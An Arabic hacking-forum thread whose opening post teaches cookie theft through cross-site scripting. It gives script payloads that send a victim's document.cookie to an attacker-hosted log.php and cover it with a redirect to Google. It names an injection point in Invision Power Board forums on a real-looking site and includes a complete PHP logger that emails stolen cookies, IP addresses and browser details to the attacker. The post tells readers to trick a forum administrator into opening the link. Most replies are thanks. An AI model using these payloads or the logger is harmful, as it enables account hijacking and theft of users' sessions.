بعد غياب طويل / شرح مبسط : استغلال ثغرات xss + تطبيق

[noureno-rca]

السلام عليكم ورحمه الله وبركاته ,,

الان هذا اول درس لي بهذا القسمبعد الغياب وهو يتكلم عن كيفيه عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط ثغرات
xss

طيب نأتي الان الى الكود المهم في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss

هذا كود سكربت خبيث يأتي بمعلومات الكوكيز تجده دائما ً في عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقطxss
كود PHP:

**********javascript:alert(document.******)</Script>


الأن الكود هذا لم يكون بالثغره سوف يظهر لك الكوكيز تبعك وهو يحتوي على نقاط مهمه وهي :
1- رقم العضويه
2- الباسورد مشفر md5
3 - الباسورد مشفر Hash

ورقم الاستايل وغيره ,, على حسب نوعيه البرنامج المصاب!

طيب الحين وجدت هذا الكود سوف نربطه باللوج

ماهو اللوج ؟
اللوج هذا تربطه مع السكربت الذي ياتي بالكوكيز ,, وبعد ان تربطه كل من فتح السكربت وهو مربوط باللوج سوف يسجل معلومات الكوكيز تبعه باللوج او يرسل الى ايميلك ( على حسب اللوج )

طيب الان بعد ما ربطته اصبح الرابط :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


تمام الان :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط = الموقع المربوط فيه اللوج
log.php = اسم ملف اللوج
طيب الحين نرفع اللوج على اي موقع عندك وبعد كذا تستبدل
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط برابط اللوج الي عندك

المهم الان هذا السكربت اصبح جاهزا للاستعمال سوف نضعه بكود الثغره ونستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?id="+document.******</Script>


الان نخلي مثلا المدير العام او اي عضو تبي تسرق الكوكيز تبعه انه يفتح الرابط

بتقول كيف بقولك ياااولد انت وراااااسك(6) عاد بطريقتك خليه يفتح الرابط

طيب الحين بتقولي والله فضيحه يابو خالد لم اخليه يفتح الرابط يطلع عنده اللوج وبيكشفني

بقوله ولا يهمك اخوي نربطه كمان بموقع للتمويه

مثلا نربطه بموقع عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط بحيث انه لم يفتح الثغره والمربوط فيها اللوج وموقع جوجل راح يتحول اوتوماتيك الى جوجل http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313) وبكذا مايشك

بتقول كيف يابو خالد بقولك كذا نضع بعد رابط اللوج :
re=www.google.com&
بس http://www.3asfh.net/vb/images/smilies/0056.gif (http://www.alqobor.com/vb/showthread.php?t=31313)
بحيث يكون بعد & يوجد id ... الخ
يعني يكون الكود :
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


طبعا انت استبدل عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باي موقع تبغاه ويفضل يكون الموقع الي مصاب فيه الثغره (1)

طيب الحين تقول كذا تمام يابو خالد يالله عطنا مثااال

بعطيكم مثال لثغره الي اكتشفتها انا بمنتديات :Invision Power Board

الكود للثغره :
عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط '>**********alert(document.******)</script>
احنا راح نستبدل :
كود PHP:

**********javascript:alert(document.******)</Script>


بـ
كود PHP:

**********location.href="http://www.xxxxx.com/log.php?re=www.google.com&id="+document.******</Script>


واستبدل هنا موقع جوجل باي موقع تبغاه

ورابط اللوج عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط باللوج تبعك

====================
تطبيق :

التطبيق هنا :
كود PHP:

http://www.mahrum.com/forums/index.php?act=idx='>**********alert(document.******) </script>


===================
اللوج :
كود PHP:

<?php
// Thnx For Security 4 Arab - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط - عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
//----- S4a Logger v0.10 -----//
// Star
//Your Email --::--
$ToGet = "[email protected]";
////////////////////////////////
$Ip = $REMOTE_ADDR;
$Sys = $HTTP_USER_AGENT;
//////////////////////////////////////////////
if($ToGet == ''){echo 'Edit Your Email Befor You Use Me !!'; exit();}
//
$Time = date("l dS of F Y h:i:s A");

$Hdr = 'From: Logger <logger@secourty>';

$Msg = '
Hi ,, Mr.Attacker :D
-------------------------------------------
- Thnx For S4a ,, Security For Arab Forum -
- s4a -
- s4a froum -
---------------------------------------------------------------------
- This Script Coded By Devil-00 [ Devil From Palestine ] -
- <[email protected]><[email protected]><devil0f0p@ya hoo.com> -
---------------------------------------------------------------------
- IP ::- [ ' .$Ip.' ]
- System ::- [ '.$Sys.' ]
- The ****** ::- [ '.$id.' ]
- Time ::- [ '.$Time.' ]
---------------------------------------------------------------------
- root@devil00 ~ ./evilcat /etc/passwd -
- root@devil00 ~ ./s4acracker passwd --log <log.log> && -
---------------------------------------------------------------------
';
$send = mail($ToGet,'S4a - [ New****** ]',$Msg,$Hdr);
//
/* &@#&@#&@#&@#&@#&@#&@# code ,, By Devil-00 [ 25/5/2005 ] << v0.10 */
if(isset($_GET["re"])){
$&@#&@#&@#&@#&@#&@#&@# = $_GET["re"];
if($&@#&@#&@#&@#&@#&@#&@# == ""){
mail ($ToGet,'S4a - [Error]','&@#&@#&@#&@#&@#&@#&@# Is Set And Its Empty !!',$Hdr);
}else{
header("location:".$&@#&@#&@#&@#&@#&@#&@#);
}
}
//
?>

استبدل هنا :
كود PHP:

$ToGet = "[email protected]";


الايميل: عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط
بالايميل تبعك !

واحفظه بامتداد php طبعا افتح المفكره وحط الكود ولاتنسى تغير اع التطبيق الا لانه درس عملي فقط لا أكثر ..

وبإمكانك استغلاله بثغره xss تبع cPanel
وغيرها من عفوا صاحب الموضوع تعب في احضار الروابط هذه فيرجى منك الرد على موضوعه لترى الروابط تقديرا له ولترى الروابط رٌد باستخدام الوضع المتطور للردفقط xss

[aol5100]

شرح جميل مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

[elsha3er25]

مشكوووووووووووووووور

[Hack-SeBix]

merciiiiiiiiiiiiiiiiiiiiiii

[kaiwa]

goooooooooooooooooood

[Hacker Rakan]

مشكور ويعطيك ألف عافيه

- - - تم التحديث - - -

.. تسلم اناملك على المجهود الرائع ..
لاهنت ويعطيك الف عافيه

[jok17]

مشكوووووووووووووووور

[Cyb3Rm0uJah3D]

مشكوووووووووووووووور

[mafiaboy]

شكرا لك يا أخي على المجهود

[flashmen]

بارك الله فيك اخي

[ندى العنزي]

مشكوووووووووووووور

[kaader]

مشكوووووووووووووووووور

[Blackline]

رائع اخى الكريمـ

[سرمد المهندس]

شنو هاي الثغره اخوان احنه نرجع ليوره هاي الثغره قديمه كلش وين الجديد اصلا استحي اتكلم بهيك ثغرات شوفولنه شي جديد

[Me$uT.dZ]

مشكووووور اخي

[Š~ ĐáŅ†Э~ Ŷ]

مشكوور بارك الله فيك

[Mostafa Mohamed]

مشكوووووووووووور

[sticky 1008]

شكرا لك اخي

[selhab]

جارى التجربة

- - - تم التحديث - - -

جارى التجربة

[mr.010]

مشكووور اخوي على الطرح،،:)

- - - تم التحديث - - -

مرة اخرى اشكرك من كل قلبي ...!

- - - تم التحديث - - -

مرة اخرى اشكرك من كل قلبي ...!

[safi syrian]

مشكووور أخي الله يعطيك العافية

- - - تم التحديث - - -

مشكووور أخي الله يعطيك العافية

[møjàhiD]

merci beaucoup et dima meghrib

[عبدالله97]

مشكوووووور بارك الله فيك...........بالتوفيق

[zaki009]

مشكوور اخي

[Demonz]

مشكورررررررررر

[shhaby]

http://www.samysoft.net/forumim/shokr/4/fgsgsdg.gif

[noureno-rca]

شكرا على الردود الجميلة !

[الذئب الاسود العراقي]

اوكيييييييييييي ومافتهمت شييييي :biggrin:

[ayman2030]

جاري التحريب والف شكر

- - - تم التحديث - - -

الروابط لاتظهر رغم الرد

- - - تم التحديث - - -

جزاك الله الف خير والله لم افهم

- - - تم التحديث - - -

جزاك الله الف خير والله لم افهم

- - - تم التحديث - - -

نفس المشكل

- - - تم التحديث - - -

عدم ظهور الروابط

[dakidouk5]

مشكووور ننتضرر جديدك

[ELSARTY SOFT]

بارك الله فيك
........

- - - تم التحديث - - -

بارك الله فيك
........

[القلب المجهول]

مشكوووووووووور

[اريد تعلم تهكير ايميلات]

شكرا جزيلا لك

[Sniper Dhi Qar]

شكرا جزيلا

[boda_hackr]

مشكور اخى بارك الله فيك

[عثمان هكر مغربي]

بارك الله فيك أخي

[mafiaboy]

thnaksss khoya

[mohssine54]

.. تسلم اناملك على المجهود الرائع ..

- - - تم التحديث - - -

.. تسلم اناملك على المجهود الرائع ..

[ahmedfreed]

بارك الله فيك مشكور عالنقل بس لو مسجل يكون احسن

[mohssine54]

.. تسلم اناملك على المجهود الرائع ..

- - - تم التحديث - - -

.. تسلم اناملك على المجهود الرائع .. merciiiiiiiiiiiiiiiiiii khoya

[Max_07]

مشكور اخي بالله، شرح رائع للغاية

- - - تم التحديث - - -

رائع صديقي!

[hamidov]

gg bosss :DDE

[hacker mizo]

بارك الله في يا أخي شرح جميل

[ربى زدنى]

:) مجهود رائع

[hackerpk]

بارك الله فيك

[الهكر عقرب الظلام]

بارك الله فيك

[zaizo max]

مفبش كلام فلة عليك
----------------------------------------------------------

إذا غامرت فى شرف المرومِ ********فلاتقنع بما دون النجومِ
فطعم الموت فى امرٍ حقيرٍ *******كطعم الموت فى امرِ عظيمِ

[Guhks]

ممتاز اخي عمل رائع

[dark prince]

مشكور للطرح بارك الله في
تقبل مروري

[meh01]

شرح مبسط و رائع شكككرا

[zaki009]

thank youuuuu

[hitman007]

مشكوووووووووو

- - - تم التحديث - - -

Merciiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii iiiiii

[amerok]

merciiiiiiiiiiiiiiiiiiiiiiiiiiiiiii

[iop hamid]

شكرا لك يا أخي على المجهود

[nabilfa]

chokran khoya

[محمد الكبار]

لازم انرد باش انشوف الموضوع ^^

- - - تم التحديث - - -

مشكوررررررررر

[twister]

thxx alot ya kbeeer

[superdon]

بارك الله فيك اخي

[قناص الخير]

يعطييك العاافييه

[spamer]

مشكوووووووووووووووور

- - - تم التحديث - - -

مشكوووووووووووووووور

- - - تم التحديث - - -

مشكوووووووووووووووور

[K E V I N]

يعطيك العافية وتم تقييمك :)

[xXEnigmaXx]

شكراااااااااااااااااااااا اااااااااا

[Hasan Dhib]

merciiii :) ...

[razeen]

مشكوووووووووور

[احمد1991]

مشكور على الموضوع الجميل

[kaiwa]

goooooooooooooooooooooooooooooood

- - - تم التحديث - - -

niceeeeeeeeeeee

[hitman2013]

الله يجزيك خير اخي

- - - تم التحديث - - -

الله يجزيك خير اخي

[al-zahrani 07]

- - - تم التحديث - - -
شكرا ويعطيك العافيه تقبل مروري

[zola500]

كفوووووووووووووووووو

[BLAST_HACKERS]

رائئع بارك الله فيك اخي

- - - تم التحديث - - -

مببببببببببببببببببدع بارك الله فيك

[MrKbrit]

يسلموووووووو

[h6ck9r2013]

بارك الله فيك اخي

[hacker zammani]

مشكووووووووووووووور

[h6ck9r2013]

بارك الله فيك اخي مشكور

[DoomRocket]

شكرا لك جزيل الشكر و بارك الله فيك أرجو أن أرى الروابط :tongue:

[mizo black ghost]

Thank You Brother

[xo omar]

بارك الله فيك اخي

- - - تم التحديث - - -

بارك الله فيك اخي

[badide]

بارك الله فيك اخي

- - - تم التحديث - - -

merciiiiiiiiiiiiiiiiiiiiiii

- - - تم التحديث - - -

merciiiiiiiiiiiiiiiiiiiiiii

[MRsoufiane9]

merciiiiiiiiiiii

[badide]

شرح جميل و بسيط مشكور اخييييييييييييييييييييييي ييييييييييييييييييييييييي يييي

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

- - - تم التحديث - - -

شرح جميل و بسيط مشكور

[vedio]

hbdhgbjhldgbjlhbfljhbdjlhfbfjlhbf

- - - تم التحديث - - -

بارك الله فيك اخي

[abderrahim-saw]

طيييييييييييييييييييييييي ييييييييييييييييييب

- - - تم التحديث - - -

لا تظهر الروابط

[trcoolmec]

Thank youuuuuuuuuuuuuuuuu

- - - تم التحديث - - -

يا عم لازم رد

[الفهد&الاسود]

بارك الله فيك اخي

..

[قبس]

مشكوووووووووور اخي عاشت ايدك

[yassine877]

سلام عليكم اخوان انا عضو جديد فى منتدى سبب تسجيلي اني ابحت عن طريقة فعالة لسترجاع حسابي في هوتمايل احد الكلاب اخترقه واريد استرجاعه .

[FAnTICoS HAckER]

بارك الله فيك اخي

[blackme]

مشكووووووور

[atanane]

بارك الله فيك اخي

[pop-key]

احسن رد مع احسن تحية كمان

- - - تم التحديث - - -

احسن رد مع احسن تحية كمان

[The Blood Bood]

بارك الله فيك أخي كم احتجت لهدا الموضوع,,,

[amina dahbi]

merci khoya

[mrshell]

بارك الله فيك اخي

- - - تم التحديث - - -

بارك الله فيك اخي

[fabio1231]

good work machkourrr

[moussab28]

شكرا كتير اخي موضوع روعة

[The Blood Bood]

بارك الله فيك اخي

[Peatrex]

بارك الله فيك اخي

- - - تم التحديث - - -

بارك الله فيك اخي

- - - تم التحديث - - -


Mercii Beaucoup !! Thanks c'est vraiment très utile

[xX-YASOO-Xx]

مشكوووووووووور

- - - تم التحديث - - -

مشكووووووووووووووووور

[صقر سيناء]

مشكوووووووووووووووووووووو ر

[AĦmêd Mastêr‎‏،]

شكرا على الافادة

- - - تم التحديث - - -

شكراا على الافادة

- - - تم التحديث - - -

مشكووووووووووووووووووووور

[LassYaF]

mercii :D

[salim05]

بارك لله فيك

- - - تم التحديث - - -

شكرا على الافادة لله يجازيك

[CobRA-MiX]

شكرا لك يا أخي على المجهود

[mc mouad]

machkoooooor

[The hakers]

مشكوووووووووووووووووووووو ووووووووووووووووووووووووو ووووووووووووووووووووووووو ووووووووووووووووووووووووو ووووووووووووووور

[HOLSTEN]

مشكوووووووووووووووووووووو وووووووووووووررررررر

[almtheer10]

رد عشان انشوف الموضوع

لنا عوده لرد ...

- - - تم التحديث - - -

:mad:شكرا بالرد المطور

[kalemaro]

niiiiiiiice topic

[lolokid]

يسلمووووووووووووووووووووو وووووووووو ع الموضوع

[belo007]

thanks my bro your new post, i wish i learn from it, again thanks for you

[zaki009]

thank you broth

[hack 2013]

شكرا لك يا أخي على المجهود الرائع

[mohammed belhacini]

merciiiiiiiiiiiiiiiiiiiiiii

[mohammed belhacini]

مشكوووووووووووووووورhttp://img819.imageshack.us/img819/306/youarehackedj.jpg

[mostafa40]

مشكوووووووووووووووور

[mer.vip]

http://im38.gulfup.com/ms62W.gif

- - - تم التحديث - - -

http://im38.gulfup.com/ms62W.gif

- - - تم التحديث - - -

http://im38.gulfup.com/ms62W.gif

[mehdi pol]

gooooood
thnnnnxxxxxx

- - - تم التحديث - - -

gooood :biggrin:

[fouzishockvalue]

Good !!!!!!!!!!!!!!!!!!!

[sohayl111]

بارك الله فيك

[عبدالله العاني]

شكررررررررررررررررررر اخي

- - - تم التحديث - - -

مشكووووووووور

[lost dream]

شكرا لك على مجهودك الرائع لك مني كل التقدير

[hani xavi]

مبدع ما قصرت

[rami mcee]

بارك الله فيك اخي

[KouchmarDz]

يعطيـــــــكـ ألف عافية

[yeussf]

تسلم.......

[iplayworld888]

مشكوووور وما قصصرت عزيز و غالي

[FreSe You]

مشكووووور اخي

[simo10]

thnksssssssssssss

- - - تم التحديث - - -

مشكووووووووووووووووور

[Ahmed_14]

ألف شكر لك

[farra]

مشكور كتييير

[cj.z4k1]

mérciiiiiiiiiiiiiiiiiiiiiiiiii ;)

- - - تم التحديث - - -

مشكوووووووووووووووور

[عمرخيرالسيد]

مرسييييييييي على المجهوووووووووود:):wink::cool::big grin::(:eek::mad:;)

[عاشق الها]

يعطيك الف عافيه

- - - تم التحديث - - -

شكرا ويعطيك الغافيه

[adem199]

موضوع متعوب عيه شكرا أخي

[الهاكر الاماراتي]

مشكور علي الموضوع

[haker.abode]

شرح أكثر من رائع
بارك الله فيك .... مشكوور
واصل....

[FBI HACKER]

بارك الله فيك اخي

- - - تم التحديث - - -

بارك الله فيك اخي

- - - تم التحديث - - -

بارك الله فيك اخي

[عبدالله العاني]

مشكورررررررررررر

- - - تم التحديث - - -

مشكوررررررررررر

[fouelctro]

عودة محمودة

[jasem1]

شكراااااااااااااااااااااا ا

- - - تم التحديث - - -

شكراااااااااااااااااااااا ااااااااااااااااااااااااا اااااااااااااااااااااااا

[13ammar]

مشكور على هذا الجهد

[iFox]

مشكوووور حبيبى و واصل تقدمك

- - - تم التحديث - - -

:) مشطووور بجد

[السهيل اليماني]

تسلم ياغالي وربي يعطيك العافيه يارب معلومات في قمة الروغه

- - - تم التحديث - - -

اخي الغالي درسك في غاية الاهميه ومهم جدا بارك الله فيك وجزاك الله كل خير

[قهر اليهود]

مشكوور أخي وبارك الله فيك

[hithemlion]

مشكور جدا لك وعلى مجهودك الجميل

[hacker mizo]

مشكووور ياا إخي موضوع جميل

[كرار الدنيناوي]

مشكوووووووووووووووووووووو ر

- - - تم التحديث - - -

شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراًشكراًشكراً شكراًشكراًشكراً

[Coder-Ma]

شكرا لك جزيلا

[xpmhmd]

مشكووووووووور اخي
بتستحق جزيل الشكر

[هاكز محترف]

بارك الله فيك عزيزي على الشرح

- - - تم التحديث - - -

:mad::)
مكور

[عثمان هكر مغربي]

ألله يعطيك العافية

[khalidwar]

j,kkknjnjhj jhj

- - - تم التحديث - - -

kkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk

[mafiaboy]

شكرا لك يا اخي شرح وافي

[B.Gestapo]

مشكو على المجهود
